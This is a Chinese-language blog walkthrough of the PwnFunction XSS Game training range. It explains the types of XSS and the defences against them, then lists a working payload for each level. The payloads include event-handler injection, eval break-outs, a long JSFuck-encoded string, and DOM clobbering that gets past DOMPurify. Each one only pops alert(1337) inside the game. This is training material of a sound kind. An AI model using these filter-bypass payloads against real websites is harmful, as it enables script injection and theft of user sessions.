XSS Game靶场学习

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已于 2024-08-17 22:19:29 修改

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分类专栏：网络安全文章标签： xss 学习前端安全

于 2024-08-17 21:45:24 首次发布

本文链接：https://blog.csdn.net/AXDRXS/article/details/141285141

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2.2.1 对输入和URL参数进行过滤(白名单和黑名单)

前言：

XSS全称：跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合，所以改名为XSS；攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码，导致管理员/用户访问时触发，从而达到攻击者的目的。

一、XSS的定义

1.1 XSS原理

服务器对用户提交的数据过滤不严，导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行，从而实现对客户端的攻击目的。

1.2 XSS分类

1.2.1 反射型（非持久型）

反射型XSS，又称非持久型XSS，攻击相对于受害者而言是一次性的，具体表现在受害者点击了含有的恶意JavaScript脚本的url，恶意代码并没有保存在目标网站，而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。

1.2.2 存储型（持久型）

存储型XSS是指应用程序通过Web请求获取不可信赖的数据，在未检验数据是否存在XSS代码的情况下，便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤，页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区，用户提交了包含XSS代码的留言到数据库，当目标用户查询留言时，那些留言的内容会从服务器解析之后加载出来。

1.2.3 DOM型（非持久型）

DOM，全称Document Object Model，是一个平台和语言都中立的接口，可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式，DOM-XSS简单理解就是不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题。

二、XSS的危害与防御

2.1 XSS漏洞的危害

窃取用户Cookie
后台增删改文章
XSS钓鱼攻击
利用XSS漏洞进行传播和修改网页代码
XSS蠕虫攻击
网站重定向
获取键盘记录
获取用户信息等

2.2 XSS漏洞防御

2.2.1 对输入和URL参数进行过滤(白名单和黑名单)

检查用户输入的数据中是否包含一些特殊字符，如<、>、’、“等，发现存在特殊字符，将这些特殊字符过滤或者编码。

2.2.2 HTML实体编码

字符串js编码转换成实体html编码的方法（防范XSS攻击）

2.2.3 对输出内容进行编码

在变量输出到HTML页面时，可以使用编码或转义的方式来防御XSS攻击。

三、XSS Game

靶场地址：XSS Game - Learning XSS Made Simple! | Created by PwnFunction
靶场游戏界面：

3.1 Ma Spaghet!

这里将题目与源码都给了我们，我们可以看到题目是让我们弹出一个（1337）的弹窗。

let's go进入

这里我们先传一个参数a

我们看回显页面和源码发现这个参数直接在标签中显示：

注意源码中的innerHTML，有它在的这句中有一个威胁标签，也就是<script>不能用，那我们可以用<img>标签。

payload

somebody=<img src=1 onerror="alert(1337)">

3.2 Jefff

看源码我们发现通过eval执行将ma name ${ieff}值赋给了ma，然后加上1000ms也就是1s的睡眠后进行页面输出。我们可以用eval的漏洞，用闭合的方法去执行。

payload

jeff=aaa";alert(1337);"

3.3 Ugandan Knuckles

看源码我们知道这关加了过滤限制，<>被过滤掉了，然后如果用onclick标签的话，源码中是不允许用户交互的，所以这里我们要使用onfocus方法，这个方法是用户自己对焦，input中还有一个可以自动对焦的标签叫autofocus。

onfocus 事件

定义和用法 onfocus 事件在对象获得焦点时发生。 Onfocus 通常用于 <input>, <select>, 和<a>. 提示： onfocus 事件的相反事件为 onblur 事件。
语法 HTML 中: < element οnfοcus=" SomeJavaScriptCode "> JavaScript 中: ...
浏览器支持所有主要浏览器都支持 onfocus 事件
支持 onfocus 事件的 HTML 标签： onfocus 属性通常用于所有 HTML 元素，除了：<base>, <bdo>, <br>, <head>, <html>, <iframe>, <meta>, <param>, <script>, <style>, 和 <title>. 事件对象

payload

wey=aaa"onfocus=alert(1337) autofocus="

3.4 Ricardo Milos

在源码中多出来一个提交---submit

这里的在事件后2S自动运行，则ricardo是一个注入点。

payload

ricardo=javascript:alert(1337)

3.5 Ah That's Hawt

看源码，这里和第三关一样，对[]和\都进行了限制，虽然我们可以想到用%28%29进行编码，但是我们要知道js重视不能编码符号，最后利用到location可以用于获取或设置窗体的URL，并进行解析，可以将payload转成字符串进行编码，而非符号直接编码。

payload

markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

3.6 Ligma

这个直接用正则将数字和字母都进行过滤，那我们只能用编码进行绕过---通过网上的编码工具，我用的是CyberChef

这里为什么会有这么多符号呢，是因为在jsfuck中alert(1)编码后是这个符号：

payload

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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3.7 Mafia

我们可以看到源码中也进行了很多过滤限制，如字符长度，反斜杠，alter等等，其他函数还是可以用，如confirm

持此之外，我们还可以用构造函数的方法进行逃逸，其中还用到了大小写

payload

mafia=Function(/ALERT(1337)/.source.toLowerCase())()

parselnt

payload

mafia=eval(8680439..toString(30))(1337)

location.hash
#之后会将后面值取出来，其中slice是截取函数

payload

eval(location.hash.slice(1))

3.8 Ok, Boomer

看源码我们发现DOMPurify.sanitize存在一个过滤框架，基本上绕不过。

let's go进入页面

我们这里用<img>试一下，源码里面出现了innerHTML

然后我们发现并没有反应，它会被直接过滤掉。
这个过滤框架不好绕过，那么我们看一下源码，发现有一个函数值得注意：

每2S执行一个ok：

我们可以去MDN Web Docs上看一下函数的使用：

之后我再想，我们能不能构造一个ok呢？在⽆法直接 XSS的情况下，我们就可以往 DOM Clobbering 这⽅向考虑了。

我们发现可以利用id或者name方法将标签取出来，那么这里的ok也许可以出现。

取出cookie后，发现为null，先创建一个元素是div，然后再给div赋值，然后再给这个div插入到body中去，最后再去取出cookie，然后发现将div里面的包含cookie的值取出来了。

我们在查询MDN时候发现发现这个定时器函数可以把函数当成字符串然后去执行，那么我们可以把a标签的href可以替换成字符串，然后定时器去执行，boomer通过赋值，这个ok就先进带h2标签里面去了。然后就通过下面那个定时器通过id=ok把我传进去的a标签获取到了，但是由于获取到以后定时器就会在2S后调用tostring方法，所以最后调用href里面的属性整个就会被当做字符串去执行。

payload

boomer=<a id=ok href=mailto:alert(1337)>
boomer=<a id=ok href=tel:alert(1337)>

Smiling Mr. Rui

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服务器对用户提交的数据过滤不严，导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行，从而实现对客户端的攻击目的。
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